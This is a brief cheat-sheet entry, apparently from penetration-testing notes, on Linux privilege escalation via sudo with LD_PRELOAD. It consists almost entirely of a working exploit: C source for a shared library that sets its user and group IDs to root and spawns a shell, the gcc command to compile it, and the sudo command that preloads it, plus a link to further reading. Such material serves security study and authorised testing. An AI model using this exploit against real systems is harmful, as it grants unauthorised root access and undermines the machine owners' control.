sudo+LD_PRELOAD


>>> sudo -l 

>>> cat shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
        unsetenv("LD_PRELOAD");
        setgid(0);
        setuid(0);
        system("/bin/sh");
}

>>> gcc -fPIC -shared -o shell.so shell.c -nostartfiles
>>> sudo LD_PRELOAD=/tmp/shell.so /usr/bin/<what_is_in_your_sudo_-l>




more details : https://c0nd4.medium.com/linux-sudo-ld-preload-privilege-escalation-7e1e17d544ec


Last updated